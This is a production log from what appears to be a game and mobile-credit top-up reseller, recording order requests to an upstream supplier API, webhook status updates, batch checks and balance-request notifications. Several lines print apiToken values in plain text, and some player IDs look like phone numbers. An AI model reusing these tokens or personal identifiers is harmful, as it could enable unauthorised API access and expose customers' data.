[2026-03-24 21:41:45] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:41:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:41:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=61700c0d-5ad8-4b32-a081-520819909568&Player_ID=0937505380  
[2026-03-24 21:41:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=61700c0d-5ad8-4b32-a081-520819909568&Player_ID=0937505380","has_body":false} 
[2026-03-24 21:41:46] production.INFO: Operation sent successfully {"operation_id":164295,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-46iIso-1774377705","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:41:46"}},"processed_data":{"order_number":"ORD-46iIso-1774377705","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:42:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01"} 
[2026-03-24 21:42:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","total_operations":4,"sites_count":2} 
[2026-03-24 21:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-cKNQ7-1774377685","ORD-DDQyro6z-1774377702"]} 
[2026-03-24 21:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 21:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-cKNQ7-1774377685","operation_id":164292} 
[2026-03-24 21:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294} 
[2026-03-24 21:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 21:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"processed":0,"errors":0} 
[2026-03-24 21:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"orders_count":2,"order_ids":["ORD-34RHF80-1774377698","ORD-46iIso-1774377705"]} 
[2026-03-24 21:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294} 
[2026-03-24 21:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"orders_count":2} 
[2026-03-24 21:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 21:42:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 21:42:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"count":2} 
[2026-03-24 21:42:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"count":2} 
[2026-03-24 21:42:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"user_id":1414,"notification_type":"order_approved","reference_id":179418} 
[2026-03-24 21:42:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"user_id":1414,"notification_type":"order_approved","reference_id":179420} 
[2026-03-24 21:42:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:42:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:42:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"processed":2,"errors":0} 
[2026-03-24 21:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295,"processed":2,"errors":0} 
[2026-03-24 21:42:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"iDp6S5bTYNbMAJWqT2pDKCseTmLXSt9T","execution_time":"2026-03-24 21:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-46iIso-1774377705","operation_id":164295} 
[2026-03-24 21:42:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1414  
[2026-03-24 21:42:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1414  
[2026-03-24 21:42:24] production.INFO: Constructing job for order: 179421  
[2026-03-24 21:42:25] production.INFO: Handling job for order: 179421  
[2026-03-24 21:42:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:42:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:42:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7f54c414-805b-4e68-9b02-56dd5912d2a5&Player_ID=51715308952  
[2026-03-24 21:42:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7f54c414-805b-4e68-9b02-56dd5912d2a5&Player_ID=51715308952","has_body":false} 
[2026-03-24 21:42:26] production.INFO: Operation sent successfully {"operation_id":164296,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yCBWU8v2-1774377746","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:42:26"}},"processed_data":{"order_number":"ORD-yCBWU8v2-1774377746","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:42:32] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158770706","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpc4hlgg3i0cv6cncCIgh"}},"user_id":194} 
[2026-03-24 21:42:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:42:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:42:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:42:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:42:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:42:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:42:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:42:32] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:42:32] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18715,"user_id":194,"amount":1000.0,"admins_notified":7} 
[2026-03-24 21:42:59] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1500.0","mainamount":"1500","operation_number":"158771789","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php3mdvr9aoloidbMscasD"}},"user_id":418} 
[2026-03-24 21:42:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:42:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:42:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:42:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:42:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:42:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:42:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:42:59] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:42:59] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18716,"user_id":418,"amount":1500.0,"admins_notified":7} 
[2026-03-24 21:42:59] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-yCBWU8v2-1774377746","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:42:59] production.INFO: Processed webhook data (normalized) {"id":"ORD-yCBWU8v2-1774377746","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:42:59] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:42:59] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":179421} 
[2026-03-24 21:42:59] production.INFO: Order updated successfully. Order ID: 179421, Status: completed  
[2026-03-24 21:42:59] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-yCBWU8v2-1774377746","status":"completed","codes_count":0} 
[2026-03-24 21:42:59] production.INFO: Constructing job for order: 179422  
[2026-03-24 21:43:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 21:43:02] production.INFO: Handling job for order: 179422  
[2026-03-24 21:43:02] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:43:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:43:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=500&uuid=ad89041b-1389-432a-84bd-0a5cad273297&Player_ID=shahen88  
[2026-03-24 21:43:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=500&uuid=ad89041b-1389-432a-84bd-0a5cad273297&Player_ID=shahen88","has_body":false} 
[2026-03-24 21:43:03] production.INFO: Operation sent successfully {"operation_id":164297,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gmC-1774377782","amount":8.7391303999999987439650794840417802333831787109375,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 21:43:03"}},"processed_data":{"order_number":"ORD-gmC-1774377782","amount":8.7391303999999987439650794840417802333831787109375,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 21:43:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gmC-1774377782","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:43:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-gmC-1774377782","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:43:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:43:08] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":179422} 
[2026-03-24 21:43:08] production.INFO: Order updated successfully. Order ID: 179422, Status: completed  
[2026-03-24 21:43:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gmC-1774377782","status":"completed","codes_count":0} 
[2026-03-24 21:43:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 21:43:27] production.INFO: Constructing job for order: 179423  
[2026-03-24 21:43:28] production.INFO: Constructing job for order: 179424  
[2026-03-24 21:43:30] production.INFO: Handling job for order: 179423  
[2026-03-24 21:43:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:43:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:43:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=3675a62a-d286-4811-95c0-4594d5c0f038&Player_ID=52378448191  
[2026-03-24 21:43:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=3675a62a-d286-4811-95c0-4594d5c0f038&Player_ID=52378448191","has_body":false} 
[2026-03-24 21:43:31] production.INFO: Operation sent successfully {"operation_id":164298,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vpymqGVk-1774377810","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:43:31"}},"processed_data":{"order_number":"ORD-vpymqGVk-1774377810","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:43:31] production.INFO: Handling job for order: 179424  
[2026-03-24 21:43:31] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:43:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:43:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2b639047-087c-4559-afcc-252db9154598&Player_ID=51957034313  
[2026-03-24 21:43:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2b639047-087c-4559-afcc-252db9154598&Player_ID=51957034313","has_body":false} 
[2026-03-24 21:43:32] production.INFO: Operation sent successfully {"operation_id":164299,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-GhR8l9S-1774377811","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:43:32"}},"processed_data":{"order_number":"ORD-GhR8l9S-1774377811","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:43:39] production.INFO: Constructing job for order: 179425  
[2026-03-24 21:43:41] production.INFO: Handling job for order: 179425  
[2026-03-24 21:43:41] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:43:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:43:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=4f06338e-e3ac-4d98-8ecc-7069810e1ed9&Player_ID=0994592481  
[2026-03-24 21:43:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=4f06338e-e3ac-4d98-8ecc-7069810e1ed9&Player_ID=0994592481","has_body":false} 
[2026-03-24 21:43:41] production.INFO: Operation sent successfully {"operation_id":164300,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Bbec-1774377821","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:43:41"}},"processed_data":{"order_number":"ORD-Bbec-1774377821","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:43:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-GhR8l9S-1774377811","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:43:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-GhR8l9S-1774377811","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:43:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:43:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vpymqGVk-1774377810","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:43:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-vpymqGVk-1774377810","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:43:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:43:44] production.INFO: SendAcceptReject: Notification queued {"user_id":130,"notification_type":"order_approved","reference_id":179423} 
[2026-03-24 21:43:44] production.INFO: Order updated successfully. Order ID: 179423, Status: completed  
[2026-03-24 21:43:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vpymqGVk-1774377810","status":"completed","codes_count":0} 
[2026-03-24 21:43:44] production.INFO: SendAcceptReject: Notification queued {"user_id":71,"notification_type":"order_approved","reference_id":179424} 
[2026-03-24 21:43:44] production.INFO: Order updated successfully. Order ID: 179424, Status: completed  
[2026-03-24 21:43:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-GhR8l9S-1774377811","status":"completed","codes_count":0} 
[2026-03-24 21:43:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 130  
[2026-03-24 21:43:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 71  
[2026-03-24 21:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02"} 
[2026-03-24 21:44:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","total_operations":3,"sites_count":2} 
[2026-03-24 21:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-cKNQ7-1774377685","ORD-DDQyro6z-1774377702"]} 
[2026-03-24 21:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 21:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 21:44:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 21:44:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"count":2} 
[2026-03-24 21:44:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"count":2} 
[2026-03-24 21:44:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"user_id":194,"notification_type":"order_approved","reference_id":179417} 
[2026-03-24 21:44:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"user_id":194,"notification_type":"order_approved","reference_id":179419} 
[2026-03-24 21:44:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:44:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:44:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"processed":2,"errors":0} 
[2026-03-24 21:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"processed":2,"errors":0} 
[2026-03-24 21:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"orders_count":1,"order_ids":["ORD-Bbec-1774377821"]} 
[2026-03-24 21:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294} 
[2026-03-24 21:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DDQyro6z-1774377702","operation_id":164294,"orders_count":1} 
[2026-03-24 21:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 21:44:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:44:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"count":1} 
[2026-03-24 21:44:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"count":1} 
[2026-03-24 21:44:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"U9oBDnVgKcMwy630OdAJwA7B3z93cK5L","execution_time":"2026-03-24 21:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Bbec-1774377821","operation_id":164300,"user_id":1074,"notification_type":"order_approved","reference_id":179425} 
